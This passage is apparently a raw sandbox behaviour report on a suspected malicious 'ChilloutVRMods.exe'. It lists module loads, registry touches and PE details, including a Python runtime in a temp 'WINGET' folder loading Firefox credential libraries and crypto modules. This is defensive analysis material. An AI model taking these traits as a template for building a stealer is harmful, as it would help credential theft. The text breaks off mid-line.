"%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff9a60f0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff9df6b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff9e0140000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff9a5fc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff9b89e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff9b3720000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff9b8090000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff9d4c20000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff9df070000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff9dd400000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ff9d4810000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff9e0de0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff9e2240000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff9e10c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff9a52a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff9b7c90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\3C82A5286B5172D5A68C8DF2E09C4C40\SYSTEM.DRAWING.NI.DLL" at base 7ff9a50a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\BEE998043EB1E9BADECD282A79540A5E\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff9a3fb0000 "powershell.exe" loaded module "GDI32.DLL" at base 7ff9e2460000 "powershell.exe" loaded module "GDIPLUS.DLL" at base 7ff9ce150000 "powershell.exe" loaded module "%WINDIR%\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.22621.1635_NONE_57FA636ACE18905C\GDIPLUS.DLL" at base 7ff9ce150000 "powershell.exe" loaded module "WINDOWSCODECS.DLL" at base 7ff9dbc60000 "cscript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff9bb5c0000 "cscript.exe" loaded module "KERNEL32.DLL" at base 7ff9e0de0000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff9dd400000 "cscript.exe" loaded module "RPCRT4.DLL" at base 7ff9e24f0000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ff9b80e0000 "cscript.exe" loaded module "AMSI.DLL" at base 7ff9d2500000 "cscript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff9e0140000 "cscript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff9e0140000 "cscript.exe" loaded module "KERNEL32" at base 7ff9e0de0000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9d4700000 "cscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ff9d2480000 "cscript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff9e0140000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\DB9W4QST.DLL" at base 7ff9bef10000 "cscript.exe" loaded module "WLDP.DLL" at base 7ff9df5c0000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff9e2240000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9ded90000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff9cc980000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff9dfe70000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff9bedf0000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ff9beab0000 "cscript.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 7ff9bb3a0000 "python.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff9bb5c0000 "python.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff9ded90000 "python.exe" loaded module "KERNEL32.DLL" at base 7ff9e0de0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\PYTHON3" at base 187b8f20000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_BZ2.PYD" at base 7ff9bef40000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_LZMA.PYD" at base 7ff9bef10000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\PYEXPAT.PYD" at base 7ff9beab0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_SOCKET.PYD" at base 7ff9bedf0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\SELECT.PYD" at base 7ff9cc970000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_CTYPES.PYD" at base 7ff9bb3b0000 "python.exe" loaded module "KERNEL32" at base 7ff9e0de0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_SSL.PYD" at base 7ff9bb380000 "python.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff9df290000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_HASHLIB.PYD" at base 7ff9bb360000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_QUEUE.PYD" at base 7ff9cb0b0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\UNICODEDATA.PYD" at base 7ff9b3780000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_ASYNCIO.PYD" at base 7ff9bb120000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_OVERLAPPED.PYD" at base 7ff9caff0000 "python.exe" loaded module "SHELL32" at base 7ff9e1a30000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_ELEMENTTREE.PYD" at base 7ff9ba300000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_UUID.PYD" at base 7ff9c9b70000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_DECIMAL.PYD" at base 7ff9b9e10000 "python.exe" loaded module "NTDLL.DLL" at base 7ff9e29b0000 "python.exe" loaded module "KERNELBASE" at base 7ff9e0140000 "python.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff9d9950000 "python.exe" loaded module "RPCRT4.DLL" at base 7ff9e24f0000 "python.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff9d8630000 "python.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff9e0610000 "python.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ff9dee20000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\PYTHON3" at base 274d8240000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\PYTHON3" at base 177eac80000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\PYTHON3" at base 25899990000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_CTYPES.PYD" at base 7ff9bef40000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_BZ2.PYD" at base 7ff9bef20000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_LZMA.PYD" at base 7ff9bede0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_SOCKET.PYD" at base 7ff9bead0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\SELECT.PYD" at base 7ff9cb1f0000 "python.exe" loaded module "NTDLL" at base 7ff9e29b0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\DLLS\_SQLITE3.PYD" at base 7ff9beab0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\LIB\SITE-PACKAGES\CRYPTO\UTIL\_CPUID_C.PYD" at base 7ff9cb0b0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_AES.PYD" at base 7ff9caff0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_AESNI.PYD" at base 7ff9c9b70000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_CHACHA20.PYD" at base 7ff9c6c90000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\LIB\SITE-PACKAGES\CRYPTO\HASH\_BLAKE2S.PYD" at base 7ff9c6b00000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\LIB\SITE-PACKAGES\CRYPTO\HASH\_POLY1305.PYD" at base 7ff9c6a00000 "python.exe" loaded module "ADVAPI32" at base 7ff9e2240000 "python.exe" loaded module "CRYPT32" at base 7ff9dfe70000 "python.exe" loaded module "NCRYPT" at base 7ff9df680000 "python.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTPROV.DLL" at base 7ff9d0ac0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\LIB\SITE-PACKAGES\CRYPTO\HASH\_GHASH_PORTABLE.PYD" at base 7ff9d89a0000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\LIB\SITE-PACKAGES\CRYPTO\HASH\_GHASH_CLMUL.PYD" at base 7ff9c5f70000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_ECB.PYD" at base 7ff9c5970000 "python.exe" loaded module "%TEMP%\WINGET\TOOLS\LIB\SITE-PACKAGES\CRYPTO\CIPHER\_RAW_CTR.PYD" at base 7ff9c3590000 "python.exe" loaded module "KERNELBASE.DLL" at base 7ff9e0140000 "python.exe" loaded module "CRYPTBASE.DLL" at base 7ff9df510000 "python.exe" loaded module "%PROGRAMFILES%\MOZILLA FIREFOX\NSS3.DLL" at base 7ff9ac940000 "python.exe" loaded module "ADVAPI32.DLL" at base 7ff9e2240000 "python.exe" loaded module "%PROGRAMFILES%\MOZILLA FIREFOX\SOFTOKN3.DLL" at base 7ff9bb370000 "python.exe" loaded module "%PROGRAMFILES%\MOZILLA FIREFOX\FREEBL3.DLL" at base 7ff9b4f70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff9bef20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff9bedf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ff9beaa0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ff9cc990000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\DB9W4QST.DLL" at base 7ff9b9e00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff9a77e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff9a7670000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ff9a6dc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff9a6c80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ff9a62f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff9a5f80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff9a5e50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff9a5130000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ff9a6430000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff9a60c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff9a5f80000 "tasklist.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff9bb5c0000 "tasklist.exe" loaded module "RPCRT4.DLL" at base 7ff9e24f0000 "tasklist.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff9e0140000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff9d3c90000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WINSTA.DLL" at base 7ff9dfc00000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff9d2b20000 "tasklist.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff9e0140000 "tasklist.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff9e0140000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff9d2e70000 "tasklist.exe" loaded module "AMSI.DLL" at base 7ff9d2500000 "tasklist.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff9e0140000 "tasklist.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff9e0140000 "tasklist.exe" loaded module "KERNEL32" at base 7ff9e0de0000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9d4700000 "tasklist.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ff9d2480000 "tasklist.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff9e0140000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\DB9W4QST.DLL" at base 7ff9bef10000 "tasklist.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff9d29e0000 "tasklist.exe" loaded module "NTDLL.DLL" at base 7ff9e29b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff9ba3d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff9cc960000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff9cb310000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ff9bef10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ff9d3ef0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff9ba330000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff9b7ab0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff9b3730000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ff9a70a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff9b7970000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ff9a6710000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff9a63a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff9a6270000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff9a6190000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff9b9e00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff9a5470000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff9ba300000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\3C82A5286B5172D5A68C8DF2E09C4C40\SYSTEM.DRAWING.NI.DLL" at base 7ff9a5270000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\BEE998043EB1E9BADECD282A79540A5E\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ff9a418000044:Tcfa,"ChilloutVRMods.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "ChilloutVRMods.exe" was detected as "Microsoft Linker" and name: "Linker" "python310.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "python310.dll" was detected as "Microsoft Linker" and name: "Linker" "libcrypto-1_1.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libcrypto-1_1.dll" was detected as "Microsoft Linker" and name: "Linker" "sqlite3.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "sqlite3.dll" was detected as "Microsoft Linker" and name: "Linker" "libssl-1_1.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libssl-1_1.dll" was detected as "Microsoft Linker" and name: "Linker" "python.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "python.exe" was detected as "Microsoft Linker" and name: "Linker" "vcruntime140.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "vcruntime140.dll" was detected as "Microsoft Linker" and name: "Linker" "pythonw.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "pythonw.exe" was detected as "Microsoft Linker" and name: "Linker" "python3.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "python3.dll" was detected as "Microsoft Linker" and name: "Linker" "vcruntime140_1.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "vcruntime140_1.dll" was detected as "Microsoft Linker" and name: "Linker" "unicodedata.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "unicodedata.pyd" was detected as "Microsoft Linker" and name: "Linker" "_decimal.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_decimal.pyd" was detected as "Microsoft Linker" and name: "Linker" "pyexpat.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "pyexpat.pyd" was detected as "Microsoft Linker" and name: "Linker" "_ssl.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_ssl.pyd" was detected as "Microsoft Linker" and name: "Linker" "_lzma.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_lzma.pyd" was detected as "Microsoft Linker" and name: "Linker" "_elementtree.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_elementtree.pyd" was detected as "Microsoft Linker" and name: "Linker" "_ctypes.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_ctypes.pyd" was detected as "Microsoft Linker" and name: "Linker" "_sqlite3.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_sqlite3.pyd" was detected as "Microsoft Linker" and name: "Linker" "_bz2.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_bz2.pyd" was detected as "Microsoft Linker" and name: "Linker" "_socket.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_socket.pyd" was detected as "Microsoft Linker" and name: "Linker" "_asyncio.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_asyncio.pyd" was detected as "Microsoft Linker" and name: "Linker" "_hashlib.pyd" was detected as "Microsoft Visual C/C++" and name: "Compiler" "_hashlib.pyd" was detected as "Microsoft Linker" and name: "Linker"45:T525,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "cscript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}") "cscript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "cscript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "tasklist.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "tasklist.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "tasklist.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "tasklist.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "tasklist.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "tasklist.exe" touched "WbemStatusCode" (Path: "HKCU\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\TREATAS")46:T624,"ChilloutVRMods.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "python310.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libcrypto-1_1.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "sqlite3.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libssl-1_1.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "python.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "vcruntime140.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "pythonw.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "python3.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "vcruntime140_1.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "unicodedata.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_decimal.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "pyexpat.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_ssl.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_lzma.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_elementtree.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_ctypes.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_sqlite3.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_bz2.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_socket.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_asyncio.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "_hashlib.pyd" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG"47:T4e4,"ChilloutVRMods.exe" has an executable section named ".text" "ChilloutVRMods.exe" has an executable section named ".CLR_UEF" "python310.dll" has an executable section named ".text" "libcrypto-1_1.dll" has an executable section named ".text" "sqlite3.dll" has an executable section named ".text" "libssl-1_1.dll" has an executable section named ".text" "python.exe" has an executable section named ".text" "vcruntime140.dll" has an executable section named ".text" "pythonw.exe" has an executable section named ".text" "vcruntime140_1.dll" has an executable section named ".text" "unicodedata.pyd" has an executable section named ".text" "_decimal.pyd" has an executable section named ".text" "pyexpat.pyd" has an executable section named ".text" "_ssl.pyd" has an executable section named ".text" "_lzma.pyd" has an executable section named ".text" "_elementtree.pyd" has an executable section named ".text" "_ctypes.pyd" has an executable section named ".text" "_sqlite3.pyd" has an executable section named ".text" "_bz2.pyd" has an executable section named ".text" "_socket.pyd" has an executable section named ".text" "_asyncio.pyd" has an executable section named ".text" "_hashlib.pyd" has an executable section named ".text"48:T52e,"ChilloutVRMods.exe" has an writable section named ".data" "ChilloutVRMods.exe" has an writable section named ".didat" "ChilloutVRMods.exe" has an writable section named "Section" "python310.dll" has an writable section named ".data" "python310.dll" has an writable section named "PyRuntim" "libcrypto-1_1.dll" has an writable section named ".data" "sqlite3.dll" has an writable section named ".data" "libssl-1_1.dll" has an writable section named ".data" "python.exe" has an writable section named ".data" "vcruntime140.dll" has an writable section named ".data" "pythonw.exe" has an writable section named ".data" "vcruntime140_1.dll" has an writable section named ".data" "unicodedata.pyd" has an writable section named ".data" "_decimal.pyd" has an writable section named ".data" "pyexpat.pyd" has an writable section named ".data" "_ssl.pyd" has an writable section named ".data" "_lzma.pyd" has an writable section named ".data" "_elementtree.pyd" has an writable section named ".data" "_ctypes.pyd" has an writable section named ".data" "_sqlite3.pyd" has an writable section named ".data" "_bz2.pyd" has an writable section named ".data" "_socket.pyd" has an writable section named ".data" "_asyncio.pyd" has an writable section named ".data" "_hashlib.pyd" has an writable section named 